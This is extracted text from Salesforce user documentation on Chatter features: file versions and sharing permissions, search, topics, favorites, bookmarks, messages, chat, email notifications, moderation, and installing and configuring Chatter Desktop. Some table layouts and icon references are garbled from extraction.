The file owner doesn't change when a collaborator uploads a new version.
If the file is from Salesforce CRM Content, you can't upload a new version from the file detail page. You can click
Go to Content Detail Page and upload a new version there.
See Also:
Files Overview
Viewing File Version History
Overview of Uploading and Sharing Files
2435
Files
The file detail page shows the current version number of the file. Click Show all versions to see the Version History list. The
list shows you all the versions of the file uploaded in Chatter, including the current version. From the list you can preview or
download the file, see who updated it and when, and see the description if provided. The file detail page always shows the
most current version of a file.
See Also:
Files Overview
Uploading a New Version of a File
Following Files
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Follow files so you can see updates in your Chatter feed on the Home page and Chatter page, including when a new file version
is uploaded. If you stop following a file, the file remains in your Files list, you just won't see updates in your feed anymore.
Click
You automatically follow files you upload in Chatter, attach to a Chatter feed, or upload to a Salesforce CRM
Content library.
If you follow a file in Chatter that you have previously subscribed to in Salesforce CRM Content, you can unsubscribe
from the file in Salesforce CRM Content because you'll now be receiving updates about it in your Chatter feed.
See Also:
Files Overview
Viewing the File Detail Page
2436
Files
Click Delete on a file's detail page to delete the file and remove it from all locations where it's been shared. If the file is shared
via link, anyone with the link will no longer have access to the file. To restore the deleted file, click on the Recycle Bin link
on the Home page. Select the file and click Undelete. The file is restored as well as all of the shares that were associated with
it.
Note: Only file owners and users with the Modify All Data permission can delete files. To learn who can perform
which actions on a file, see File Sharing Settings and Permissions on page 2437.
For more information about deleting files from other places in Chatter, see Removing and Deleting Files and Links from a
Chatter Feed on page 2420.
See Also:
Files Overview
Overview of Uploading and Sharing Files
Viewing the File Detail Page
This table describes file sharing settings which are determined by how the file is shared. The sharing setting and icon appear
on a file's detail page and on the Shared With list on a file detail page.
Sharing Setting
Private
Privately Shared
Definition
The file has only been shared with specific A file is privately shared when it's:
people, groups, or via link. It's not available Only shared with specific people or a
to all Chatter users in your company. Only
private group
the file owner, users with Modify All
Posted to a private group
Data or View all Data permission, and
2437
Files
Sharing Setting
Definition
All Chatter users in your company can find A file is shared with your company when
and view this file.
it's posted to a feed on the Home page,
Chatter page, a profile, a record, or a public
group.
Your Company
This table describes the actions that can be performed by users based on their permission:
Action
File Owner
File Collaborator
File Viewer
View/Preview
Yes
Yes
Yes
Download
Yes
Yes
Yes
Share
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Edit Details
Yes
Yes
Change Permission
Yes
Yes
Yes
Restrict Access
Yes
Delete
Yes
Note:
No access means that no one in your company can find or view the file unless the file is specifically shared with
them or a private group theyre a member of.
Users with Modify All Data permission can view, preview, download, share, attach, make private, restrict access,
edit, upload new versions, and delete files they don't own. However, if the file is in a personal library, then only
the file owner has access to it.
Users with View All Data permission can view and preview files they don't own. However, if the file is in a
personal library, then only the file owner has access to it.
Groups (including group members) and records have viewer permission for files posted to their feeds.
2438
Files
Permissions for files shared with libraries are determined by the library.
See Also:
Files Overview
Viewing Where a File is Shared
Sharing Files with People
Sharing Files with Groups
Changing File Permissions
File owners and collaborators can change file permissions for people and groups from viewer to collaborator and vice versa.
They can also change file permissions for files shared with their company to viewer, collaborator, or no access.
A file is shared with your company when it's posted to a feed on the Home page, Chatter page, a profile, a record,
or a public group. Any Chatter user in your company is given viewer permission by default. If you change
the permission from viewer or collaborator to no access, you remove the share to company and to public groups.
When you share a file with someone, they are given collaborator permission by default. When you share a file with
a group, the group members are given viewer permission by default. You can change the default permissions when
you share a file for the first time. File owners and collaborators can change permissions after a file has been shared.
2439
Files
File link recipients can only view and download files. They can't be collaborators.
See Also:
Files Overview
Sharing Files with People
Sharing Files with Groups
Viewing Where a File is Shared
File Sharing Settings and Permissions
The following are maximum file size limits for files in Salesforce.
Feature
Salesforce CRM
Content
Maximum File
Size
2 GB
Salesforce
Knowledge
2 GB
10 MB for
Google Docs
38 MB when
uploaded via the
API
10 MB when
uploaded via
Visualforce
10 KB for
articles
5 MB for
attachments
Documents Tab
Attachments
Related List
5 MB
20 KB for a
custom-app logo
5 MB for file
attachments
2 GB for feed
attachments
10 MB for files
attached to
email
See Also:
Files Overview
Overview of Uploading and Sharing Files
Salesforce CRM Content Overview
Salesforce Knowledge Overview
Documents Home
Adding Attachments
2440
Files
Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments
Salesforce CRM
Content
Salesforce
Knowledge
Documents Tab
Attachments
Purpose
Store Web
resources, such as,
logos, DOT files,
and other
Visualforce
materials in folders
without attaching
them to records.
Attach files to
records from the
Attachments related
list on selected
detail pages.
Common Uses
Upload a file in
Chatter and store it
there privately until
you're ready to share
it. Share the file
with coworkers and
groups to
collaborate and get
feedback. Attach
files to posts in a
Chatter feed on the
Home tab, Chatter
tab, a profile, a
record, or a group.
Create, clone, or
modify a sales
presentation and
save it so only you
can see it and work
on it. When you're
ready, publish it so
other users in your
company have
access to it. Create
a content pack and
send it to
customers.
Add a file to a
specific record, like
an event, marketing
campaign, contact,
or case by attaching
it on the
Attachments related
list.
Supported File
Types
All
All
All
All
All
Maximum File
Sizes
2 GB
2 GB
10 MB for
Google Docs
10 KB for
articles
5 MB for
attachments
5 MB
20 KB for a
custom-app logo
5 MB for file
attachments
2 GB for feed
attachments
2441
Search
Searching in Chatter
Files Tab
Salesforce CRM
Content
Salesforce
Knowledge
38 MB when
uploaded via the
API
10 MB when
uploaded via
Visualforce
Documents Tab
Attachments
10 MB for files
attached to
email
See Also:
Files Overview
Salesforce CRM Content Overview
Salesforce Knowledge Overview
Documents Home
Adding Attachments
SEARCH
Searching in Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Search for topics by entering # followed by the topic (such as #SalesReport) in the header search box. In the search
results, click Search Chatter Updates to see all posts and comments that refer to that topic.
2442
Search
Search for mentions by entering @ followed by a person's name (such as @Madison Rigsby) in the header search box.
In the search results, click Search Chatter Updates to see where Madison Rigsby is mentioned in Chatter posts and
comments.
See Also:
Search Overview
Sort your search results by posts only or by posts and comments, just as in other feeds.
Comment on, like, share, bookmark, and delete posts in the search results, just as in other feeds.
To view the detail pages for Chatter files, groups, and people, click the respective name in the update.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM.
Perform actions (follow, share, download, preview, upload new version, and view file detail page) on files in the search
results, just as in other feeds.
Click Add to Chatter Favorites to save a topic or Chatter feed search to your favorites on the Chatter tab.
To view search results for records, such as accounts, contacts, and Chatter people, groups, and files, click Records at the top
left of the page.
See Also:
Search Overview
Using Chatter Feeds
2443
Topics
TOPICS
Adding Topics to Posts and Comments
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
2444
Topics
Unsupported Characters
When creating a topic, type the hash sign followed by a letter or number and then type additional letters, numbers, or characters.
Some characters, such as punctuation, symbols, and separators, can't be included in a topic. For example, if you enter
#Sales.Report in your update, only #Sales becomes a topic.
See Also:
Posting an Update
Mentioning People in Posts and Comments
Viewing the Topics People Use Most
Viewing Your Company's Trending Topics
If you add topics to your updates, the topics you use most often appear in your Chatter profile in the Topics I Use Most
section. This section helps people learn which topics you're knowledgeable about or interested in.
When you click a topic in the Topics I Use Most section, you see just the updates that person has posted that include the
topic. You can then expand your search to see all the Chatter updates with that topic by either clicking the highlighted topic
in the profile feed or clicking Search Everywhere.
See Also:
Profile Overview
The Trending Topics area on the Chatter tab shows the topics that your coworkers are discussing right now in Chatter. The
more frequently people include a specific topic in their posts and comments over a short period of time, the more likely it is
to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have
started discussing it in Chatter, you may see a trending topic for #Dreamforce.
When determining which topics are trending, Chatter doesn't look at record and private group feeds. Only topics you include
when updating your status, posting to a person's profile, or posting to a public group can become a trending topic.
See Also:
Adding Topics to Posts and Comments
2445
Favorites
FAVORITES
Chatter Favorites Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter favorites on the Chatter tab give you easy access to list views, Chatter feed searches, and topics that you want to stay
on top of. For example, if you and your coworkers use the topic #acme to track information about your customer Acme, you
might want to add #acme as a favorite so you can easily access these updates without leaving the Chatter tab.
You can have up to 50 favorites. If you haven't added any favorites, the Favorites section doesn't appear on the Chatter tab.
Chatter displays the four favorites most recently added or viewed.
See Also:
Adding a Chatter Feed Search as a Favorite
Adding a Chatter Topic as a Favorite
Adding a List View as a Chatter Favorite
Adding a Chatter feed search as a favorite lets you access feed updates quickly without leaving the Chatter tab.
2446
Favorites
The favorite name on the Chatter page is the same as the search terms you entered. For example, if you searched for
competitive analysis, your favorite is competitive analysis.
Tip: Save a search for a Chatter group name as a favorite to quickly access the group feed from the Chatter page.
Similarly, save a search for a person's name as a favorite to quickly see that person's posts, comments, and mentions.
See Also:
Chatter Favorites Overview
2447
Favorites
Adding a topic as a favorite lets you follow the topics you're interested in right from the Chatter tab.
1. Click a topic, such as #acme.
2. On the Chatter Updates search results page, click Add to Chatter Favorites. The favorite name on the Chatter tab is the
same as the topic, #acme.
See Also:
Chatter Favorites Overview
Add a list view as a Chatter favorite to monitor key business processes directly from your Chatter tab.
1. Open an existing list view or create a list view for a set of records, like for example accounts, opportunities, or leads.
2. Click
Chatter in the top-right corner to see the Chatter updates for the list items.
3. Click Add to Chatter Favorites.
The favorite name on the Chatter tab is the same as the list view name.
See Also:
Chatter Favorites Overview
2448
Bookmarks
Bookmarks Overview
BOOKMARKS
Bookmarks Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Bookmarks.
See Also:
Bookmarking a Post
Removing a Bookmark
Bookmarking a Post
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Bookmarking a post lets you keep track of posts youre interested in.
1. Hover over the post you want to bookmark in your Chatter feed.
2. Click
Bookmarks on the Chatter sidebar to see your saved posts in your Chatter feed.
There is no limit for the number of bookmarks. You can add as many bookmarks as you like.
2449
Messages
Removing a Bookmark
Removing a Bookmark
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
1. Click
Bookmarks on the sidebar to see your saved posts in your Chatter feed.
2. Find the saved post in your Chatter feed.
3. Click
) to indicate that you successfully removed the post from your bookmarks.
When you remove a bookmark from a post, the post no longer appears in your saved posts when you click
Bookmarks.
MESSAGES
Chatter Messages Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
See the most recent message in each of your conversations. The most recent message displays at the top of the list.
See the photo of the person who sent the most recent message in a conversation.
See if you have unread messages ( ).
See if you sent the most recent reply ( ) in a conversation.
Click any message to view the full history of messages exchanged in that conversation.
Send a message by clicking New Message.
Your messages are organized into conversations, with each conversation defined by the unique combination of people
participating in it. For example, let's say you send a message to Sally Smith. When Sally replies, her message continues your
one-on-one conversation. Every new message you send to Sallyeven if it's about a different topicalso continues the same
conversation. Over time, you build a rich conversation history with Sally that contains every message you've ever exchanged
2450
Messages
with her. At the same time, let's say you send a message to both Sally Smith and Bob Johnson. That message is considered
part of a separate conversation between you, Sally, and Bob. When Sally replies, her message continues a separate conversation
from your one-on-one conversation with Sally.
Consider these tips for using Chatter messages.
You can send messages to anyone in your Chatter organization. It doesn't matter who you follow, who's following you,
what groups you belong to, or if the recipient is a customer.
Conversations can involve just one other person, or up to ten people total, including yourself. You can't send a message to
yourself.
Conversation participants are established when someone sends the first message in the conversation. No one can add people
or remove people from the conversation after the first message is sent.
As others reply, the Messages link on the Chatter tab shows the number of conversations with new messages. If you're
already receiving Chatter email notifications, you'll automatically be notified of new messages.
You can't delete messages or conversations.
An administrator with the Manage Chatter Messages permission can view and delete all users' messages in Chatter; for
example, for compliance purposes.
If after reading the messages in a conversation you want to mark the conversation unread, you can do so only via the Chatter
REST API, not via the user interface.
See Also:
Sending Chatter Messages
Searching for Chatter Messages
Administering Chatter Messages
About Chatter Customers in Private Groups
Click the Messages link on the Chatter tab, then click New Message in My Messages.
Click a person's name anywhere in Chatter to view their profile and click Send a message.
Click Send a message on a person's hover.
When viewing the full message history of a conversation, use the text box under the most recent message to send a
reply.
When viewing the email notification about a message you've received, if email replies to Chatter are enabled, reply to
the email.
Sharing a file with people is another way to send a Chatter message. When you share a file, recipients automatically receive
a message that lets them know the file has been shared, as well as any additional information you provided.
2451
Messages
2. If you started in the Send a Message dialog box, you can add people's names to the recipient list. Type a name in the To
field and click the name to select it. Add more people to the conversation by entering additional names.
If you're replying within a conversation or via email, the conversation participants can't be changed.
3. Write your message. Messages can be up to 10,000 characters.
4. Submit your message using the appropriate method:
If your message continues an existing conversation, your reply is added to the conversation and appears at the top of the list
in My Messages. If your message starts a new conversation because you haven't previously exchanged messages with that
unique combination of recipients, your message appears at the top of the list in My Messages as a brand new conversation.
See Also:
Chatter Messages Overview
Searching for Chatter Messages
Configuring Chatter Email Notifications and Digests
Replying to Chatter Email Notifications
Sharing Files with People
If you're viewing your list of conversations, search looks for matches across all conversations. If you're viewing a single
conversation, search looks for matches only within that conversation.
Searching for a person's name (such as bob johnson) finds both the conversations where Bob Johnson is named in
the text as well as conversations where he's a participant. If you search for your own name, search results will include
all of your messages and conversations because you're a participant in every conversation.
Searching for bob jo finds both Bob Jones and Bob Johnson. We automatically search for terms starting with bob
jo, as if you had entered the * (asterisk) wildcard (bob jo*).
If you search for the term customer, you'll see matches on that term within the text of messages. Matches don't
include people who are identified as customers in a conversation's participant list.
2. Click Search.
3. Once you see the search results, you can:
Refine your search by entering additional search terms or using wildcards or operators.
Click a message to view the full conversation if you initially searched across all conversations.
2452
Messages
If there are matches on names in the participant list and the conversation involves lots of people, the match might not be
visible because the participant list doesn't show everyone's name. In other words, you'll see the conversation included as a
match but the highlighted name match might be hidden from view.
Clear your search terms by clicking
or leave My Messages.
. Chatter automatically clears your search when you enter a reply, send a new message,
See Also:
Chatter Messages Overview
Manage Users
Manage Chatter Messages
AND
API Enabled
Administrators with the appropriate permissions can view and delete all users' Chatter messages.
An administrator with the Manage Chatter Messages permission can view and delete all users' messages in Chatter; for
example, for compliance purposes. Users with this permission can access all users' Chatter messages via the SOAP API.
When deleting Chatter messages, consider these guidelines:
Messages are hard deleted. They arent sent to the Recycle Bin.
Deleted messages arent included in message search results.
If all messages in a conversation are deleted, the conversation isnt shown in My Messages and cant be retrieved via the
Chatter REST API.
If replies via email are enabled, when a user replies to a deleted message, Chatter returns an error notification and doesnt
process the reply message.
See Also:
Chatter Messages Overview
User Permissions
2453
Chat
CHAT
Using Chatter Messenger
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
See Also:
Chatter Overview
Setting Up Chat
Let people know if you're available to chat, or set your status to Offline if you don't want to chat.
People can see your status:
2454
Chat
On people hovers
To change your chat status, click Available, Away, or Offline at the top of your chat list. For example, if your status is set to
Available but you don't want to chat with others, click Available and choose Offline.
Your status automatically changes to idle if you're idle for 15 minutes. To change this setting, click Chat >
select General Settings.
See Also:
Using Chatter Messenger
Chatting with People
You can chat with one or more people in Chatter who are online.
1. Start a chat.
From your chat list, click a name in the People I Follow or My Favorites list.
From a persons profile, click Start Chat.
Note: When you leave a chat with multiple people, the other people in the chat can continue chatting without you.
You need to be added back to the chat to participate again.
See Also:
Using Chatter Messenger
Adding People to the My Favorites List in Chat
2455
Chat
If your chat list is long, type the name of a person you want to chat with in the search box at the top of the chat list.
Switch between active chats by clicking a chat in the Current Chats list.
To add someone to your chat list, follow them in Chatter.
Add people you chat with frequently to your My Favorites list.
Click to customize your chat options.
Click your status at the top of the chat list to change your chat status on page 2454.
When a chat is minimized, youll see the new message indicator
See Also:
Using Chatter Messenger
Adding People to the My Favorites List in Chat
The list of people you follow in Chatter can be long. Add up to 100 chats with one or more people to your My Favorites list
and theyll always show up at the top of your chat list.
In an active chat with one or more people, click to save the chat as a favorite.
You can also click and drag a single persons name from the People I Follow list to the My Favorites list.
You can rename a chat with multiple people in your My Favorites list. Click Edit next to My Favorites, click the
multiple-person chat you want to rename, and type a new name. For example, if you have a favorite chat with Sue, John,
Jeff, you could rename it to Sales Team. All names must be unique.
See Also:
Using Chatter Messenger
Removing People from the My Favorites List in Chat
Using the Chat List
2456
Chat
Remove chats with one or multiple people from your My Favorites list if you chat with them less often. People you follow in
Chatter will still show up in your People I Follow list.
1. Next to the My Favorites list, click Edit.
2. Next to the name of the chat you want to remove, click the button.
3. When youve finished deleting chats from the list, click Done next to the My Favorites list.
You can also remove chats from the My Favorites list by clicking the
See Also:
Using Chatter Messenger
Adding People to the My Favorites List in Chat
Keep chattingeven when you minimize your browser or use other applicationsby popping out a chat or your chat list into
a separate browser window.
Click
Click
in the top-right corner of an active chat or the entire chat list to pop it out.
in the top-right corner of a popped-out chat or chat list to pop it back in to your Salesforce screen.
See Also:
Using Chatter Messenger
Typing certain combinations of letters and punctuation marks inserts a whimsical icon into your chat conversation.
The following emoticons are available.
2457
Chat
Emoticon
Typed Characters
:-), :), :], =)
:-(, :(, :[, =(
:-D, :D, =D
:-O, :O, :-o, :o
:-P, :P, :-p, :p, =P
;-), ;)
:/, :-/, :\, :-\
> Options.
See Also:
Using Chatter Messenger
Editing Chat Options
Tip: When you click , you can also quickly toggle the visibility of My Favorites, People I Follow, and Offline
People in your chat list. You can also toggle the options to Play sounds and Show emoticons.
General Settings
Option
Description
When selected, your status changes to idle if you are idle in your Salesforce app for the
length of time you specify.
Show emoticons
When selected, graphics such as or display when people you chat with type standard
textual emoticons such as :-) or :-(.
Show a timestamp only when When selected, the timestamp for chat messages displays only when you hover over an
I hover over a message
individual message. When not selected, the timestamp displays inline with each chat message
and status change.
2458
Email Notifications
Description
Play a sound for new messages When selected, a sound plays when someone starts a new chat with you.
Note: Sounds play for all incoming messages when a chat is minimized, a chat is
out of focus (for example, if you have multiple chats), or when youre using another
application or browser tab.
Alert in browser tab for new
messages
When selected, a notification saying You have new chat messages displays in your browser
tab when someone sends you a new chat message.
Chat List
Select the lists of people that you want to see in your chat list:
My Favorites
People I Follow
Show people who are offline
See Also:
Using Chatter Messenger
EMAIL NOTIFICATIONS
Configuring Chatter Email Notifications and Digests
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter can email you every time someone follows you, posts to your profile or groups, and more. You can also receive daily
or weekly user and group email digests. User digests include the updates you see in your own Chatter feed, such as updates
about the people, records, and files you follow and your groups. Group digests include the updates you see in a particular
groups Chatter feed, and are configurable on a group-by-group basis.
Note: To receive Chatter email notifications and digests, your administrator must enable email notifications for your
organization.
To configure your Chatter email settings:
1. Click Your Name > My Settings at the top of any page, then click Email Settings. You can also click Your Name > Setup
> My Chatter Settings > Chatter Email Settings.
2. Select Receive Chatter Emails to receive Chatter email.
2459
Email Notifications
Caution: Deselecting this option prevents you from receiving all Chatter email notifications.
When configuring your user and group digests, specify whether you want to receive each digest daily or weekly. Daily
digests include the 25 latest posts from the previous day while weekly digests include the 50 latest posts from the week.
Both include the three latest comments on each post. Alternatively, when configuring group digests, you can choose to
receive an email every time someone posts to the group.
Chatter sends daily digests at approximately 12:00 AM every day, and weekly digests at approximately 12:00 AM on
Sunday. For user digests, the time is according to the user's time zone. For group digests the time is according to the
organization's time zone.
If you configure Chatter to send digests but you don't receive any, it's likely that the people and items you're following
have no new updates.
Whenever you join or are added to a group, you don't receive email notifications initially because they're turned off by
default. You can use Set default frequency for groups I join: to choose how often you want to receive
emails when joining new groups. Changing the default frequency doesn't affect the groups you already belong to.
Note: If your organization existed prior to the Summer '11 release and is a Professional, Enterprise, Unlimited,
or Developer Edition organization, you may still be receiving daily digests by default.
If you select Comments on a post on my profile, you don't receive a notification when someone comments on
changes an administrator makes to your profile.
If you select Comments after me, you receive email notifications for up to 10 comments after you.
If you select Sends me a message, you receive email notifications when people send you Chatter messages, including
notifications about files that have been shared with you.
Chatter limits the number of email notifications an organization can send each hour. These limits are subject to change.
See Also:
Using Chatter
Feeds
Viewing a Single Chatter Update
Chatter Messages Overview
When you receive email notifications about comments and posts, you can conveniently post your comments to the Chatter
feed by replying to the email. Similarly, you can respond to Chatter messages via email. Just reply to any notification that
displays a From address of reply@chatter.salesforce.com.
2460
Recommendations
Note: To reply to email notifications, your administrator must enable email replies for your organization.
Replies must be sent from the email address specified in Your Name > My Profile. If you use email aliases or email
forwarding services that send replies from a different email address, your replies won't be processed.
Replies to post comments can be up to 1,000 characters.
Replies in response to Chatter messages can be up to 10,000 characters. Replies that exceed the limit are truncated to the
first 10,000 characters.
If replies contain your personal email signature, the signature text is treated as part of your comment. Default signatures
inserted by mobile devices, such as Sent from my iPhone, are automatically removed from replies. Before replying,
delete custom signatures and any extra text you don't want posted to Chatter.
Attachments in replies are ignored.
Before replying, check the email address that displays in the To field of your email. Valid addresses contain tokens, or long
character strings, both before and after the @ symbol, such as
w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com. Some email applications may automatically
use the From address from the original email, reply@chatter.salesforce.com, which is not a valid address for
receiving replies. If you see this shortened address in the To field of your reply email, replace it with the valid reply-to
address in the email header information. For example, in an application such as IBM Lotus Notes:
1. Open the original email.
2. Click View > Show > Page Source.
3. In the Reply-To section, copy the email address that looks like:
w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com.
4. Paste the reply-to address in the To field of your reply email.
See Also:
Configuring Chatter Email Notifications and Digests
Sending Chatter Messages
RECOMMENDATIONS
Viewing Your Recommendations
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter provides recommendations to help you identify the people, groups, files, and records that closely relate to your job
and interests. The more recommendations you accept, the more updates you see in your Chatter feed.
Click Follow next to the person, record, or file you want to follow.
2461
Recommendations
See Also:
People Recommendations Overview
Chatter Group Recommendations Overview
File Recommendations Overview
Record Recommendations Overview
Following records helps keep you up-to-date on important changes to accounts, contacts, opportunities, and more. Chatter
recommends records that you've viewed or edited, records that you own (and aren't already following), and parent accounts
of records that you're following.
Chatter won't recommend records that your Salesforce administrator has disabled feed tracking for. Only opportunities,
accounts, leads, contacts, and articles are included in record recommendations.
To see an expanded list of your recommendations, click More in the Recommendations section. To see your record
recommendations by object, click the object in the side filters. For example, click Accounts to view only your account
recommendations.
If no recommendations appear, then you're already following all the recommended records.
See Also:
Viewing Your Recommendations
2462
Moderating Chatter
Chatter Moderators
MODERATING CHATTER
Chatter Moderators
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Moderate Chatter
You can tell if someone is a moderator by the special banner on their profile picture.
See Also:
Profile Overview
2463
Moderating Chatter
Moderate Chatter
As a moderator, you can assign moderator privileges to Chatter Free users in your organization. You can also remove them if
needed.
1. Go to the person's profile page by clicking their name in the People tab or on a feed.
2. On the profile page, click Manage User.
See Also:
Chatter Moderators
Deactivating Chatter Free Users
Moderate Chatter
As a moderator, you can deactivate Chatter Free users if, for example, they left the company.
1. Go to the person's profile page by clicking their name in the People tab or on a feed.
2. On the profile page, click Manage User and select Deactivate User.
If you need to re-activate a Chatter Free user, you must use global search to find their profile, as deactivated users don't show
up on the People tab. To activate a user:
1. Find the person's profile using global search.
2464
Chatter Desktop
2. On the profile page, click Manage User and select Activate User.
See Also:
Chatter Moderators
Assigning Moderator Privileges to Chatter Free Users
CHATTER DESKTOP
Chatter Desktop Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter Desktop is a free desktop application that lets you collaborate in Chatter without a browser. Use Chatter Desktop to
post and comment in Chatter, and receive updates about the people, records, and files you follow and your groups. Chatter
Desktop also supports private Chatter messages, and displays Chatter updates and private messages as popup notifications in
your Windows taskbar or Mac OS X Dock.
Note: Customer users can install and use Chatter Desktop but cant access all of its functionality. For example,
customer users cant follow users or records, or access administration options.
Chatter Desktop is enabled for most organizations, but administrators can control access to Chatter Desktop as follows:
1. Click Your Name > Setup > Desktop Administration > Chatter Desktop Settings.
2. Select Enable Chatter Desktop if you want to allow users to access Chatter data from Chatter Desktop. Deselect
this option if you want to prevent all instances of Chatter Desktop in your organization from accessing Chatter data, and
block access to the Chatter Desktop self-installation page.
3. Select Allow Chatter Desktop Managed Installations Only if you want to prevent non-administrators from
installing Chatter Desktop. For example, select this option if your IT department plans to deploy Chatter Desktop to your
organization.
4. Click Save.
Important: Chatter Desktop uses Adobe Integrated Runtime (AIR), Adobe's cross-platform runtime environment
for desktop applications, and only runs on operating systems that Adobe AIR supports. Chatter Desktop does not
run on operating systems that Adobe AIR does not support, such as 64-bit Linux. See the Adobe website for
2465
Chatter Desktop
information on Adobe AIR. The standard Chatter Desktop installer automatically installs the correct version of
Adobe AIR.
See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop
Salesforce.com provides two Chatter Desktop installers: a standard version for individual installations and a managed version
for enterprise deployments.
Important: Chatter Desktop uses Adobe Integrated Runtime (AIR), Adobe's cross-platform runtime environment
for desktop applications, and only runs on operating systems that Adobe AIR supports. Chatter Desktop does not
run on operating systems that Adobe AIR does not support, such as 64-bit Linux. See the Adobe website for
information on Adobe AIR. The standard Chatter Desktop installer automatically installs the correct version of
Adobe AIR.
Standard Version
Managed Version
For individuals with administrator privileges on their machines For enterprises deploying Chatter Desktop to users who don't
have administrator privileges on their machines
Does not require administrator privileges in Salesforce to access Requires administrator privileges in Salesforce to access the
the installer
installer
Automatically installs the required version of Adobe
Integrated Runtime (AIR)
Requires the acceptance of an end user license agreement the Requires your IT department to accept the Chatter Desktop
first time Chatter Desktop launches
managed version end user license agreement on behalf of the
users to which Chatter Desktop is deployed
Posts Installed Chatter Desktop to Chatter the first time
Chatter Desktop launches
2466
Chatter Desktop
Installation information:
http://help.adobe.com/en_US/air/redist/WS485a42d56cd19641-70d979a8124ef20a34b-8000.html
Administration information:
http://help.adobe.com/en_US/air/admin/WS485a42d56cd1964167ea49bd124ef17d52a-8000.html
2. Click Your Name > Setup > Desktop Administration > Chatter Desktop Settings.
3. Click the link to download the managed version.
Important: Chatter Desktop uses Adobe Acrobat Reader to preview PDF files. Before previewing files with
Chatter Desktop, download Adobe Acrobat from Adobe's website, install it, and open it at least once to complete
the installation.
See Also:
Chatter Desktop Overview
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop
2467
Chatter Desktop
If you have multiple Salesforce or Chatter logins, create a connection for each login. The connection lets Chatter Desktop
access the Chatter data you can access with that login on the Web.
1. Click
and select Settings.
2. In the Connections section, enter a name for the connection and the URL from which you log in. The URL must begin
with https:// and end with salesforce.com or chatter.com. For example, if your organization has a European
division that you log into from https://emea.salesforce.com, enter that URL and name the connection Europe.
By default, Chatter Desktop connects to your main instance of Salesforce (Production) or your Force.com sandbox.
3. Click Authorize and follow the on-screen instructions to authorize Chatter Desktop to connect using the login.
Use the radio buttons on the Settings screen to specify a default connection. To quickly switch connections while using Chatter
Desktop, click
Note: You can create multiple connections, but Chatter Desktop can log into only one connection at a time. You
cannot use Chatter Desktop to display data from multiple connections simultaneously.
See Also:
Installing Chatter Desktop
Chatter Desktop Overview
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop
Click:
To see:
Updates from everyone and everything you follow.
Updates directed to you.
2468
Chatter Desktop
Private Chatter messages. Click a message to view it, or click New Message to send a new message.
Other peoples updates. Click Following or Followers then click a persons name to see their updates or post to
their feed.
Your groups updates. Click a group name to see its updates or post to the group.
Records you follow. From the drop-down menu at the top, select the type of record you want to view, for example,
Account. If youre not following records, there wont be any records in the list. Click a records name to view its
details. Chatter Desktop shows the first eight fields on a record.
Your Chatter Desktop settings. You can also switch your connection.
In feeds:
, or click
To post a link, type the link in the box where you type your post, or click
Use the Sort By filter at the top of a feed to set you want to see updates:
Post DateChronologically displays posts in the feed. To see comments, you must click Show All Comments below
a post.
Post and Comment DateChronologically displays posts and comments in the feed. Each comment appears again
when you click Show All Comments under its associated post.
Tip: Chatter Desktop synchronizes your data automatically, but the synchronization does not always happen instantly.
To manually synchronize, click
See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Chatter Desktop Overview
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop
2469
Chatter Desktop
The default Chatter Desktop configuration is appropriate for most users, but several Chatter Desktop settings are configurable.
To access Chatter Desktop settings, click
3. Set default and editable attributes to TRUE or FALSE on each child element in the config element. default
determines the default setting, while editable determines if the user can change the default setting through the user
interface.
4. If your organization uses instances of Salesforce other than Production and Sandbox, specify the servers that host those
instances in separate server elements inside the servers element. In each server element, include the following
attributes:
labelThe name of the connection as you want it to appear in the user interface.
defaultServerSet to TRUE to make this the default instance to which Chatter Desktop connects.
serverUrlThe URL you use to log into the instance. The URL must begin with https:// and end with
salesforce.com or chatter.com. For example, if your organization has a European division that you log into
from https://emea.salesforce.com, enter that URL and name the connection Europe..
2470
Chatter Desktop
b. Launch Chatter Desktop and verify that it functions correctly. See Troubleshooting Chatter Desktop if there are
problems.
6. Copy the .chatterdesktop file to the user directory on every machine running Chatter Desktop in your organization.
The following is a sample configuration file:
<chatterdesktop>
<config>
<launchOnStartup default="false"
editable="false"/>
<minimizeOnClose default="false"
editable="true"/>
<notifications default="true"
editable="true"/>
</config>
<servers>
<server label="Europe"
serverUrl="https://emea.salesforce.com"
defaultServer="true"/>
<server label="Production"
serverUrl="https://login.salesforce.com"
defaultServer="false"/>
</servers>
</chatterdesktop>
See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Chatter Desktop Overview
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop
2471
Chatter Desktop
If the computer on which you installed Chatter Desktop is stolen or lost, you can block Chatter Desktop from accessing your
Salesforce data. Click Your Name > Setup > My Personal Information > Personal Information, and click Revoke next to
Chatter Desktop in the Remote Access section.
See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
